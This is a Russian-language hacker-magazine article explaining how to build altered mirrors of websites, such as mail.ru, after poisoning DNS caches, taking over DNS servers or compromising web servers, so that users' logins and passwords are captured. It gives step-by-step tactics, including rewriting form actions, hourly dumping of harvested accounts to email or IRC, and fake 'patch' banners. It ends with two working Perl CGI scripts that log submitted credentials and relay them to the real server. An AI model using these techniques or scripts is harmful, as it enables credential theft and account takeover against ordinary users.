Все знают, что такое зеркала. Нет, не те зеркала, в которых вы видите вечно
не выспавшуюся, немного под хмельком, рожу 😉 — Зеркала сайтов.
То есть, полная копия сайта, созданная для облегчения доступа и снижения нагрузки на основную машину.
Но, мы приспособим эту идею под свои нужды, пойдем дальше таких зеркал, то есть в Зазеркалье =).
Это те же зеркала, только немного искривленные
(модифицированные).

Итак, рассмотрим, что это такое и зачем оно нужно. Я рассмотрю несколько случаев, когда могут понадобиться эти кривые зеркала.

Вариант первый. Вы успешно атаковали DNS кэш какого-либо сервера. И вместо всеми любимого mail.ru пользователям выдают наш левый
IP адрес. Далее, чтобы не расстраивать посетителей, мы делаем на нем полное зеркало mail.ru,
за небольшим исключением. В форме,
ответственной за проверку аккаунта подменяем form action на путь к нашему скрипту, задача которого сводиться к следующему, принять аккаунт, сделать http запрос по реальному IP адресу сервера на проверку полученного аккаунта. И, в зависимости от ответа, записать его в текстовой файл, далее выдать полученный ответ с подправленными ссылками.
Например :

http://mailbox.mail.ru/mail.cgi

меняем на

http://mail.ru/cgi-bin/mirror.pl?redir=http://mailbox.mail.ru/mail.cgi

Что делает mirror.pl, я думаю понятно. Просто соединяется
с реальным сервером, передает все что надо (cookies,
form_field etc.) и возвращает ответ от реального сервера с такими же подправленными на себя линками.
В итоге, после экспериментов и настройки скриптов,
мы имеем полное зеркало сайта, немного правда искривленное нужной нам функцией :).
Для особо ленивых могу посоветовать ежечасный сброс собранных аккаунтов на мыло или на популярный IRC канал ;). Единственное добавлю, что настройку и отладку такого вот кривого зеркала 
необходимо делать до подмены данных в DNS кэше,
иначе громкие вопли юзверев в суппорт в процессе подготовки зеркала сведут все результаты на нет =).

Вариант второй. Многие захватив сервер и не найдя с первого взгляда вкусных баз\инфы, забивают на него, при этом очень часто
забывают поглядеть в /var/named или c:\winnt\system32\dns.
В случае, если эта машина ответственна за какую-либо DNS зону, то намного целесообразнее найти в ней что-нибудь вкусное, типа radius.our.zone
или billing.our.zone 🙂 , и просто изменить IP адрес этого имени. Не забывая дать named-у сигнал перечитать конфигурационый файл
(не забывайте о записи serial, чтобы инфа о новом IP дошла и до вторичного
DNS сервера тоже ;)). Или в случае win32, после изменения текстовых файлов обычного юниксового формата, перезапустить сервис. Рекомендации по строительству кривого зеркала абсолютно такие
же как и в первом случае.

Вариант третий (самый распространенный). Часто
случается так, что получив контроль над машиной, понимаешь, что смотрел задницей и прозевал, что форма передает данные не на эту машину,
а на другую. Или получить доступ на главный WWW сервер оказалось делом плевым, а вот получить доступ к серверу, куда
отправляются данные для авторизации в короткие сроки не реально. В этой ситуации наиболее простым решением
является изменение поля action в форме, которая отправляет нужные данные, на путь к своему скрипту
(на этом же, или другом сервере). Он будет опрашивать реальный и возвращать результат, или перенаправлять на реальный, в зависимости от конкретного случая,
естественно с сохранением проходящей информации =). Также, тут можно включить фантазию, и добавить
пару полей в форму, или повесить сочный баннер призывающий якобы «попатчить» новую ошибку в системе, контроль над которой мы хотим получить =))).

Ниже идут примеры скриптов, но мне лень делать что-либо общее и универсальное, так как писать скрипты, особенно на перле, должен уметь каждый
программер, а вы уж и подавно =). Потому, что сегодня без
автоматизации жить трудно =).

——————————-
#!perl
use Socket;
use CGI param;

$text1=param(«text1»);
$text2=param(«text2»);
$text3=param(«text3»);

$remote=»xxx.xxx.xx.x»;$port=»80″;
if ($port =~ /\D/) { $port = getservbyname($port, ‘tcp’) };
$iaddr = inet_aton($remote);
$paddr = sockaddr_in($port, $iaddr);
$proto = getprotobyname(‘tcp’);
socket(SOCK, PF_INET, SOCK_STREAM, $proto) || die «socket()»;
connect(SOCK, $paddr);

$data=»text1=$text1&text2=$text2&text3=$text3″;

send SOCK,»POST /mail HTTP/1.1\n»,0;
send SOCK,»Content-Length: «.length($data).»\n»,0;
send SOCK,»Content-Type: application/x-www-form-urlencoded\n»,0;
send SOCK,»Connection: Keep-Alive\n\n»,0;
send SOCK,$data,0;
while(<SOCK>){$ret=»$ret».»$_»;}

open (FILE2 ,»>>_log.txt») || die «open() log $! $@»;
print FILE2 «—=$remote:$port=—\n$ret\n$data\n\n»;
close FILE2;
close(SOCK);
——————————-
#!perl
use CGI param;
$login=param(«login»);$pass=param(«pass»);
print «Location: https://xx.xx/check/check.php?login=$login&pass=$pass\n\n»;
open WR, «>>data.txt»;print WR "$login:$pass\n";close WR;
——————————-

P.S. Возможно эта статья покажется кому-то слишком простой и неинтересной, но
я просто хотел заострить внимание на том, как еще можно использовать машины в интернете, помимо
использования объемов их винтов, процессорных
ресурсов и каналов. А так же рассказать про возможности, которые многие упускают сосредоточившись непосредственно на цели атаки.

Оставить мнение

Check Also

Атака NFCdrip использует NFC для передачи данных на сравнительно дальние дистанции

Исследователь продемонстрировал, что NFC можно использовать в преступных целях и на сравни…